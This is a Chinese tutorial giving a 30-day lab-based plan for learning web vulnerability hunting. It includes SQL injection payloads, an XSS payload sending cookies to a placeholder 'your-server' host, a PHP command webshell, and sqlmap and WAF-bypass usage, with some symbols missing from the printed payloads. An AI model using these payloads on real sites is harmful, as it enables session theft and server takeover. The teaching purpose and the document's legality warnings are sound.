
1. 项目概述为什么是30天“30天从零到独立挖洞”这个标题听起来像是个营销口号但如果你真的按部就班地走完这30天你会发现它背后是一套被验证过的、高度结构化的学习路径。我见过太多新人一上来就抱着《黑客攻防技术宝典》硬啃或者一头扎进某个复杂的漏洞复现文章里结果被各种陌生的术语和工具链劝退热情消耗殆尽。这个30天计划的核心价值就在于它把“挖漏洞”这个宏大目标拆解成了每天可执行、可反馈的小任务用靶场这个“安全沙盒”和脚本这个“效率工具”作为双引擎带你平稳度过新手期。简单来说这个计划解决的是三个核心痛点方向迷茫、缺乏实战、效率低下。它不承诺让你成为顶尖高手但能确保你在一个月后看到一个存在SQL注入或XSS的网站时脑子里能立刻浮现出清晰的测试步骤和利用思路并且有能力用脚本把重复性的工作自动化。这就是“独立挖洞”的起点。2. 核心学习路径与资源总览2.1 四个阶段构建你的知识肌肉记忆一个有效的学习周期必须遵循“理论 - 靶场 - 工具 - 实战”的螺旋式上升路径。这30天可以清晰地划分为四个阶段第一周基础认知与环境搭建Day 1-7目标是建立对Web安全的基本世界观。你需要明白浏览器和服务器是怎么“对话”的HTTP/HTTPS协议网站前端和后端各自负责什么HTML/JS基础服务端语言概念以及数据是如何被存储和查询的数据库基础。这一周的关键不是精通而是“见过”知道这些名词是什么在漏洞利用的链条中扮演什么角色。同时你需要搭建好你的“练兵场”——本地靶场环境。第二周经典漏洞原理与手动利用Day 8-14这是夯实基础的黄金周。你将集中学习OWASP Top 10中最常见、最经典的几种漏洞SQL注入、跨站脚本XSS、跨站请求伪造CSRF、文件上传漏洞。这一周的核心是“手动”禁止使用自动化扫描器。你必须亲手在靶场里构造每一个Payload观察每一次请求与响应理解漏洞产生的根本原因。比如SQL注入你要亲手拼接出‘ or ‘1’‘1并亲眼看到页面返回了所有用户数据。第三周工具链集成与脚本入门Day 15-21当你能手动发现并利用漏洞后这一周的目标是“提效”。你将系统学习如何将Burp Suite、SQLMap、Nmap等工具融入你的工作流。更重要的是你要开始接触脚本。从最简单的Bash/Python脚本开始学习如何自动化发送HTTP请求、解析响应、批量测试参数。例如写一个Python脚本用requests库自动对靶场的登录接口进行弱口令爆破。第四周综合演练与思维拓展Day 22-30这是从“学习者”向“实践者”过渡的一周。你将面对更接近真实环境的综合靶场如Vulhub、Vulfocus这些靶场通常是一个完整的、存在多个漏洞的应用程序。你需要运用前三周学到的所有知识进行信息收集、漏洞探测、利用和提权。同时开始学习简单的漏洞挖掘思路比如如何阅读JavaScript源码寻找API接口如何通过参数FUZZ模糊测试发现隐藏的输入点。2.2 靶场选择从“闯关游戏”到“开放世界”靶场是你整个30天计划的训练基地选择至关重要。我建议采用“组合拳”策略不同阶段使用不同类型的靶场。入门级闯关靶场第一、二周主力这类靶场将漏洞按类型和难度分级像玩游戏一样一关关突破即时反馈感极强。DVWA (Damn Vulnerable Web Application)绝对的“新手村”。界面简单漏洞典型并且可以自由调整安全等级Low, Medium, High让你直观感受不同防护级别下的利用方式差异。它的价值在于“纯粹”让你专注于漏洞本身。Pikachu国产优秀靶场覆盖漏洞类型非常全面除了SQL注入、XSS等常规项还包含了不常见的漏洞如PHP反序列化、SSRF等并且有中文提示和讲解对初学者非常友好。SQLi-Labs专注于SQL注入的“魔鬼训练营”。从最基本的错误型注入到盲注、堆叠注入、二次注入等高级技巧共计65关。如果你能独立通关它SQL注入这块的理论和手动能力将极为扎实。注意搭建这些靶场时强烈推荐使用Docker。它能帮你避免绝大部分因PHP版本、数据库配置等问题导致的环境错误。一条docker pull和docker run命令通常就能搞定把时间省下来用在真正的学习上。综合应用靶场第三、四周主力当你掌握了单个漏洞后就需要在更复杂的环境中练习“组合拳”。Vulhub这是一个漏洞环境集合通过Docker Compose一键搭建。它复现的是真实世界开源组件/应用的历史漏洞如ThinkPHP 5.x RCE, Weblogic反序列化。在这里你面对的不是一个孤立的漏洞点而是一个完整的、需要你进行信息收集、漏洞探测、利用和后续操作的“小系统”。Vulfocus一个在线的、集成了众多漏洞镜像的靶场平台。你不需要本地搭建直接通过浏览器访问即可。它适合用于快速练习和验证各种漏洞的利用姿势。2.3 脚本的角色从“手工耿”到“车间主任”很多新手对“脚本”有畏惧心理觉得那是开发大佬的事。其实恰恰相反脚本是安全人员解放生产力、将重复劳动智能化的关键。在这30天里你对脚本的认知应该经历三个阶段使用者第二周先学会运行别人写好的脚本。比如使用SQLMap进行自动化注入测试。你要理解它的基本参数-u指定URL--data指定POST数据--dbs枚举数据库。这个过程能让你感受到自动化工具的强大。修改者第三周找到一些简单的POC概念验证脚本尝试读懂并修改它。例如一个用Python写的、检测某个特定Struts2漏洞的脚本。你可能只需要修改里面的目标URL或者命令执行的参数。这能帮你建立脚本与漏洞利用之间的直接联系。创造者第三、四周为了解决自己的特定问题而写脚本。这是质的飞跃。比如你在Pikachu靶场做XSS练习时发现需要手动在几十个输入点尝试Payload很繁琐。这时你就可以写一个脚本读取一个包含常见XSS Payload的字典文件然后自动遍历靶场页面的所有表单提交并检查响应中是否出现了你的Payload。这个脚本可能不到50行但它彻底解决了你的痛点。脚本语言首选Python。生态丰富requests,BeautifulSoup,scapy等库是安全标配语法简洁几乎成了安全行业的“普通话”。其次可以了解一下Bash Shell它在服务器环境下的文件操作、日志分析、流程自动化方面无可替代。3. 第一周夯实基础与靶场初探3.1 知识准备不求甚解但求有印象这一周的学习资料我强烈推荐以视频和交互式教程为主书籍为辅。目标是快速建立感性认识。HTTP协议不用背RFC文档。打开浏览器开发者工具F12切换到Network网络标签然后访问任何一个网站。仔细观察每一个请求的Request请求和Response响应。搞清楚URL、MethodGET/POST/PUT等、Headers特别是Cookie、User-Agent、Parameters参数和Body请求体分别在哪是什么。这是你未来和Web应用交互的全部窗口。前端基础了解HTML表单form、input是如何向服务器提交数据的。了解一下JavaScript能做什么操作DOM、发送Ajax请求。你不需要会写复杂的JS但要能看懂一段JS代码大概在做什么比如从页面元素里取值或者向某个地址发送数据。后端概念知道服务器端语言如PHP、Java、Python会处理前端传来的数据并与数据库如MySQL交互。理解“参数化查询”和“字符串拼接”在代码层面的区别这直接关系到SQL注入是否存在。数据库知道数据库里有“表”表里有“行”和“列”。能看懂最基本的SQL语句SELECT * FROM users WHERE id1。明白UNION操作符是用来合并查询结果的。这些就足够了。3.2 环境搭建少踩坑就是快我见过无数人倒在环境搭建这一步。最稳妥的方案是使用Docker。安装Docker DesktopWindows/Mac或Docker EngineLinux。对于DVWA只需执行docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa访问http://localhost即可。默认账号/密码是admin/password。对于Pikachu可以寻找现成的Docker镜像或者下载源码放置到你的PHP集成环境如XAMPP、PHPStudy的WWW目录下根据其README文件配置数据库。实操心得在虚拟机如VirtualBox安装的Kali Linux里进行所有操作是最佳实践。这能给你一个干净、隔离的环境即使玩坏了也可以快速恢复快照避免污染宿主机。Kali Linux本身就预装了绝大部分你需要的安全工具。3.3 第一项实战与Burp Suite成为朋友在开始漏洞学习前你必须先掌握Burp Suite这个“瑞士军刀”。它是你拦截、查看、修改、重放所有HTTP请求的代理。配置代理启动Burp在Proxy - Options里确保代理监听在例如127.0.0.1:8080。将你的浏览器推荐使用Burp自带的Chromium或Firefox的HTTP代理设置为相同地址和端口。拦截第一个请求打开Proxy - Intercept点击“Intercept is on”。然后浏览器访问你的DVWA靶场。你会看到HTTP请求被Burp截获了。你可以在这里修改任何参数再点击“Forward”发送。使用Repeater模块这是你未来测试漏洞最常用的功能。在拦截的请求上右键Send to Repeater。在Repeater标签里你可以随意修改请求并反复发送观察每次的响应变化。这是手动测试SQL注入、XSS等漏洞的核心操作界面。花一天时间熟悉Burp的Proxy、Repeater、Intruder用于爆破和FUZZ、Scanner基础扫描这几个核心模块。不用精通但要知道每个模块是干什么的以及如何把请求从一个模块发送到另一个模块。4. 第二周深入经典漏洞的手动利用4.1 SQL注入与数据库的“直接对话”SQL注入的本质是“数据被当作代码执行”。这一周请忘掉SQLMap完全用手和脑。错误型注入在DVWA安全等级设为Low的SQL Injection页面输入1‘。如果页面返回数据库错误信息恭喜这里存在注入点。接着尝试1‘ and ‘1’‘1和1‘ and ‘1’‘2通过页面返回是否相同来判断逻辑是否被改变。联合查询注入目标是获取其他表的数据。步骤通常是判断字段数1‘ order by 1--,order by 2--... 直到页面出错。判断回显点1‘ union select 1,2--看看页面哪个位置显示了数字“1”或“2”。获取信息在回显点替换为数据库函数如union select version(), database()--获取数据库版本和当前库名。爆表名、列名、数据这需要记忆或查询特定数据库的系统表。例如在MySQL中union select table_name,2 from information_schema.tables where table_schemadatabase()--。盲注当页面没有明确回显只有“存在”与“不存在”两种状态时如登录成功/失败就需要盲注。这考验耐心和逻辑。你需要用and length(database())1这样的条件像猜数字一样一位一位地判断数据库名的长度再用substring(database(),1,1)‘a’来猜具体字符。这个过程极其繁琐但也正是你理解自动化工具价值的地方。注意事项在靶场中你可以随意“破坏”。但在任何非授权的真实网站上进行SQL注入测试都是非法的且可能造成严重数据泄露。靶场是你的沙盒请严守边界。4.2 跨站脚本在别人的地盘执行你的代码XSS的核心是“恶意脚本在用户浏览器中执行”。分为反射型、存储型和DOM型。反射型XSSPayload“反射”在页面响应中不存储。在DVWA的XSS (Reflected)页面尝试在输入框输入scriptalert(‘xss’)/script。如果弹窗则存在漏洞。你需要思考这个Payload是如何被服务器返回并又被浏览器解析执行的。存储型XSSPayload被存储到数据库其他用户访问时触发。在DVWA的XSS (Stored)页面在留言板输入类似的脚本。它会被保存之后任何用户查看留言板都会触发。危害更大。DOM型XSS漏洞发生在浏览器端的JavaScript代码中不经过服务器。这需要你分析页面的JS源码。例如代码中有document.write(location.hash.substring(1))那么URL中的#scriptalert(1)/script就可能触发XSS。手动测试时不要只满足于弹窗。尝试构造更有“价值”的Payload比如窃取Cookiescriptnew Image().src‘http://your-server/steal?cookie’document.cookie;/script。你需要在自己的服务器上监听一个端口来接收“受害者”发来的Cookie。4.3 文件上传与命令执行获取系统权限的跳板文件上传漏洞的利用目标是上传一个可执行的脚本文件如.php,.jsp从而获得在服务器上执行命令的能力。绕过前端验证有些检查只在浏览器用JavaScript完成。直接抓包修改文件扩展名即可绕过。绕过内容类型检查服务器可能检查Content-Type头。将抓到的包中Content-Type: image/jpeg改为application/php。绕过黑名单如果服务器禁止上传.php可以尝试.php5,.phtml,.phps或者在文件名后加空格、点shell.php.等利用系统解析特性绕过。绕过图片马检测服务器可能检查文件内容头。可以使用copy /b normal.jpg shell.php webshell.jpgWindows或cat normal.jpg shell.php webshell.jpgLinux制作图片马或者直接在图片的EXIF信息中插入PHP代码。上传成功后访问你的Webshell你就拥有了一个命令执行界面。在DVWA的Upload页面安全等级设为Low上传一个包含?php system($_GET[‘cmd’]);?的shell.php文件然后访问…/shell.php?cmdwhoami你就能看到服务器当前用户。4.4 CSRF冒充用户的“一键操作”CSRF利用的是用户已登录的“状态”诱骗其浏览器向目标网站发起一个恶意请求。在DVWA的CSRF页面修改密码的请求可能只是一个简单的GET请求http://靶场地址/vulnerabilities/csrf/?password_new123password_conf123ChangeChange。攻击者可以构造一个隐藏了img src“上述链接”的页面诱使用户访问用户的密码就在不知情时被修改了。防御措施通常是在请求中加入不可预测的Token令牌。手动测试时你可以尝试提交一个不带Token或使用固定Token的请求看是否成功。5. 第三周工具集成与脚本赋能5.1 Burp Suite进阶Intruder与Scanner现在你可以将Burp用得更加主动。Intruder模块这是你的“爆破器”和“模糊测试器”。比如在测试登录框时你可以将用户名和密码设置为Payload位置加载一个弱口令字典让Burp自动进行排列组合攻击。在测试SQL注入时你可以用Intruder对参数进行FUZZ自动替换成各种SQL关键词和符号观察响应长度或内容的变化以发现潜在的注入点。配置Payload类型简单列表、运行时文件、自定义迭代器和攻击模式狙击手、攻城锤、音叉、集束炸弹是关键。Scanner模块Burp的主动扫描器可以帮你进行初步的漏洞爬取和扫描。虽然不如专业扫描器深入但对于发现明显的、低悬的果实很有帮助。你可以用它先对靶场进行一次扫描看看它能自动发现什么再与自己手动测试的结果进行对比理解自动化扫描的局限性和优势。5.2 SQLMap理解自动化注入的艺术在亲手经历了手工注入的繁琐后你现在可以“请外援”了。使用SQLMap不是无脑跑而是要理解它在做什么。基本探测sqlmap -u “http://靶场地址/vuln.php?id1”。SQLMap会先测试参数是否可注入使用哪些注入技术布尔盲注、时间盲注等。获取数据sqlmap -u “http://靶场地址/vuln.php?id1” --dbs枚举数据库-D database_name --tables枚举表-T table_name --columns枚举列-C column_name --dump导出数据。高级技巧使用--level和--risk参数调整测试的深度和风险。使用--tamper脚本对Payload进行混淆以绕过一些简单的WAFWeb应用防火墙。例如--tamperspace2comment会将空格替换为注释符。实操心得永远不要在对非授权目标使用SQLMap。即使在靶场也最好在本地环境运行。SQLMap的流量特征非常明显极易被安全设备封禁。更重要的是通过-v 3参数查看详细的Payload发送过程这是学习注入技巧的绝佳方式。看看SQLMap是如何构造那些你手动构造起来很麻烦的盲注Payload的。5.3 编写你的第一个安全脚本自动化XSS检测让我们用Python写一个最简单的XSS检测脚本目标是自动测试DVWA反射型XSS页面的所有参数。import requests import sys # 设置靶场URL和你的登录Cookie需要先手动登录获取 target_url “http://localhost/vulnerabilities/xss_r/” cookies {‘PHPSESSID’: ‘你的sessionid’, ‘security’: ‘low’} # 一个简单的XSS Payload列表 payloads [‘scriptalert(1)/script’, ‘“scriptalert(1)/script’, ‘img srcx onerroralert(1)’] # 要测试的参数名 params {‘name’: ‘’} for payload in payloads: params[‘name’] payload response requests.get(target_url, paramsparams, cookiescookies) # 简单检查如果Payload原样出现在响应HTML中可能存在反射型XSS if payload in response.text: print(f“[!] 潜在XSS漏洞发现Payload: {payload}”) # 可以进一步检查Payload是否出现在script标签外等上下文 else: print(f“[-] Payload {payload} 未直接回显”)这个脚本非常简陋但它实现了核心逻辑自动化请求和结果检查。你可以在此基础上扩展处理POST请求、测试多个参数、从文件读取Payload、检查更复杂的触发条件如检查是否弹窗需要用到浏览器引擎如Selenium等。6. 第四周综合实战与思维养成6.1 挑战综合靶场像侦探一样思考现在进入Vulhub或Vulfocus选择一个中等难度的漏洞环境例如CVE-2017-12615 Apache Tomcat PUT方法任意文件上传。信息收集目标是什么运行了什么服务Tomcat 8.5.19开放了哪些端口有什么已知的公开漏洞漏洞复现根据漏洞描述利用条件是什么需要启用PUT方法且未配置默认servlet。如何利用构造一个特殊的PUT请求上传JSP木马。手动利用用Burp Repeater构造HTTP PUT请求将你的JSP Webshell内容写入服务器。PUT /shell.jsp/ HTTP/1.1…JSP代码。获取权限访问上传的shell.jsp执行系统命令。深度利用尝试提权、内网渗透如果靶场环境模拟了内网、信息收集读取配置文件、数据库连接字符串等。这个过程没有固定的答案你需要像解谜一样将已知的漏洞利用步骤适配到具体的靶场环境中。遇到问题时学会看服务器的错误日志分析HTTP响应中的细微差别。6.2 漏洞挖掘思维初探从“利用者”到“发现者”前几周你主要是一个漏洞的“利用者”。最后一周尝试向“发现者”迈出一小步。黑盒模糊测试对一个未知的Web应用你可以用Intruder或自己写的脚本对所有你能找到的输入点URL参数、POST表单、Cookie、HTTP头进行FUZZ。Payload可以是一份包含特殊字符、SQL关键词、路径遍历字符串../../../的字典。观察哪些输入点返回了异常错误如数据库错误、500内部服务器错误这些就是潜在的脆弱点。静态代码审计白盒入门如果你有靶场的源码很多靶场都开源可以尝试简单的代码审计。例如用文本编辑器的搜索功能全局搜索exec(、system(、eval(等危险函数看其参数是否用户可控。搜索SELECT、UPDATE等SQL语句看是否是用字符串拼接的方式组装的。这是理解漏洞根源最直接的方式。关注非典型输入点不要只盯着表单和URL参数。JSON格式的请求体、XML格式的数据可能存在XXE漏洞、文件上传的文件名和文件内容、HTTP Referer头、User-Agent头都可能是攻击面。6.3 常见问题与排查技巧实录在30天的学习中你几乎一定会遇到下面这些问题问题现象可能原因排查思路与解决方案靶场访问报错如数据库连接失败1. 数据库服务未启动。2. 配置文件如config.inc.php中的数据库密码错误。3. 文件权限问题。1. 检查MySQL/MariaDB服务是否运行 (systemctl status mysql)。2. 核对配置文件中的主机、用户名、密码、数据库名。3. 对于源码部署的靶场确保/var/www/html/等目录有正确的读写权限。Burp Suite抓不到HTTPS流量浏览器未信任Burp的CA证书。访问http://burpsuite下载Burp的CA证书并导入到浏览器的证书信任存储中。具体步骤需根据浏览器Chrome/Firefox查找。SQLMap跑不出结果1. 目标有WAF拦截。2. 注入点判断错误可能不是数字型或字符型。3. 请求需要特定的Cookie或Header。1. 使用--tamper参数尝试绕过或降低扫描速度--delay2。2. 用-p指定参数或用*标记注入点sqlmap -u “http://靶场/vuln.php?id1*”。3. 使用--cookie“...”或--headers“...”参数。上传的Webshell无法访问/执行1. 上传路径不对。2. 服务器未解析该脚本后缀。3. 文件内容被安全软件删除或篡改。1. 查看上传成功后的返回信息确认文件访问路径。2. 尝试其他脚本后缀.php5,.phtml。3. 检查文件是否完整或尝试上传一个纯文本文件测试上传功能是否正常。自己写的脚本请求失败1. 缺少必要的请求头如Content-Type,User-Agent。2. 会话Session/Cookie未正确处理。3. 有反爬虫机制如验证码、Token。1. 用Burp抓取一次成功的手动请求将其中所有Headers复制到你的脚本中。2. 使用requests.Session()对象来保持会话自动处理Cookie。3. 分析Token的生成规律看是否能从之前的响应中提取并回传。最后再分享一个小技巧建立一个属于你自己的“知识库”。可以用笔记软件如Obsidian、Notion也可以就是一个简单的Markdown文件夹。记录下每个漏洞的原理、利用方式、防御方法。每个靶场的通关步骤和关键Payload。你写的每一个脚本的用途和代码片段。你遇到的每一个错误和解决方法。这个知识库会在你未来遇到类似问题时成为你最快速的参考手册也是你能力成长最直观的见证。30天不是终点而是你进入Web安全世界的起点。保持好奇持续动手在合法的靶场和漏洞众测平台中不断锤炼这条路才能走得远走得稳。